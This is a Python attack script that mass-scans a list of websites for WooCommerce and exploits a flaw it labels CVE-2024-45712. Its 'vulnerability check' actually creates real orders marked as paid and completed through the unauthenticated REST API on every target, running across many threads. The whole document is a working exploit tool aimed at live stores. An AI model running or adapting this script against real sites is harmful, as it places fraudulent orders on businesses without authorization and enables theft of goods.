#!/usr/bin/env python3 import requests import json import argparse from urllib.parse import urljoin, urlparse from concurrent.futures import ThreadPoolExecutor, as_completed # Suppress insecure request warnings (for sites with bad SSL) from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def check_woocommerce_api(target_url): """Check if the WooCommerce REST API is enabled.""" api_url = urljoin(target_url, '/wp-json/wc/v3/') try: response = requests.get(api_url, timeout=10, verify=False) if response.status_code == 200: # Check if the response contains WooCommerce indicators if 'woocommerce' in response.text.lower() or 'product' in response.text.lower(): return True return False except requests.exceptions.RequestException: return False def get_woocommerce_version(target_url): """Attempt to get the WooCommerce version from readme.txt.""" readme_url = urljoin(target_url, '/wp-content/plugins/woocommerce/readme.txt') try: response = requests.get(readme_url, timeout=10, verify=False) if response.status_code == 200: # Look for the version number in the readme for line in response.text.split('\n'): if 'stable tag:' in line.lower(): version = line.split(':')[1].strip() return version except requests.exceptions.RequestException: pass return "Unknown" def check_vulnerability(target_url, product_id=1, quantity=1): """Check if the target is vulnerable to CVE-2024-45712.""" order_url = urljoin(target_url, '/wp-json/wc/v3/orders') # Generate random customer data import random import string random_name = ''.join(random.choices(string.ascii_lowercase, k=8)) random_email = f"{random_name}@example.com" order_data = { "payment_method": "bacs", "payment_method_title": "Direct Bank Transfer", "set_paid": True, "status": "completed", "billing": { "first_name": random_name, "last_name": random_name, "email": random_email }, "line_items": [ { "product_id": product_id, "quantity": quantity } ] } try: headers = {'Content-Type': 'application/json'} response = requests.post( order_url, data=json.dumps(order_data), headers=headers, timeout=15, verify=False ) if response.status_code == 201: order_info = response.json() return True, f"Order created successfully! Order ID: {order_info.get('id', 'N/A')}" elif response.status_code == 401: return False, "Target is not vulnerable (401 Unauthorized)" else: return False, f"Target returned status code: {response.status_code}" except requests.exceptions.RequestException as e: return False, f"Request failed: {str(e)}" def scan_target(target, product_id=1, quantity=1): """Scan a single target for WooCommerce and vulnerability.""" # Ensure the target has a scheme (http:// or https://) if not target.startswith(('http://', 'https://')): target = 'http://' + target results = { 'target': target, 'has_woocommerce': False, 'version': 'Unknown', 'vulnerable': False, 'details': '' } print(f"[+] Scanning: {target}") # Check for WooCommerce if check_woocommerce_api(target): results['has_woocommerce'] = True results['version'] = get_woocommerce_version(target) # Check for vulnerability is_vuln, details = check_vulnerability(target, product_id, quantity) results['vulnerable'] = is_vuln results['details'] = details status = "VULNERABLE" if is_vuln else "NOT VULNERABLE" print(f"[-] {target} - WooCommerce {results['version']} - {status}") else: results['details'] = "No WooCommerce detected" print(f"[-] {target} - No WooCommerce detected") return results def main(): parser = argparse.ArgumentParser(description='Scan for vulnerable WooCommerce sites (CVE-2024-45712)') parser.add_argument('-i', '--input', required=True, help='Input file with targets (one per line)') parser.add_argument('-o', '--output', default='results.txt', help='Output file for results') parser.add_argument('-p', '--product-id', type=int, default=1, help='Product ID to use for testing') parser.add_argument('-q', '--quantity', type=int, default=1, help='Quantity of products to order') parser.add_argument('-t', '--threads', type=int, default=5, help='Number of concurrent threads') args = parser.parse_args() # Read targets from file try: with open(args.input, 'r') as f: targets = [line.strip() for line in f.readlines() if line.strip()] except FileNotFoundError: print(f"[!] Error: File {args.input} not found!") return print(f"[*] Loaded {len(targets)} targets from {args.input}") print(f"[*] Starting scan with {args.threads} threads...") print("-" * 60) results = [] # Scan targets using thread pool with ThreadPoolExecutor(max_workers=args.threads) as executor: future_to_target = { executor.submit(scan_target, target, args.product_id, args.quantity): target for target in targets } for future in as_completed(future_to_target): target = future_to_target[future] try: result = future.result() results.append(result) except Exception as e: print(f"[!] Error scanning {target}: {str(e)}") # Save results to file with open(args.output, 'w') as f: for result in results: f.write(f"Target: {result['target']}\n") f.write(f"WooCommerce: {result['has_woocommerce']}\n") f.write(f"Version: {result['version']}\n") f.write(f"Vulnerable: {result['vulnerable']}\n") f.write(f"Details: {result['details']}\n") f.write("-" * 40 + "\n") # Print summary vulnerable_count = sum(1 for r in results if r['vulnerable']) woocommerce_count = sum(1 for r in results if r['has_woocommerce']) print("\n" + "=" * 60) print("[SCAN SUMMARY]") print(f"Total targets: {len(targets)}") print(f"WordPress with WooCommerce: {woocommerce_count}") print(f"Vulnerable targets: {vulnerable_count}") print(f"Results saved to: {args.output}") print("=" * 60) if __name__ == "__main__": main()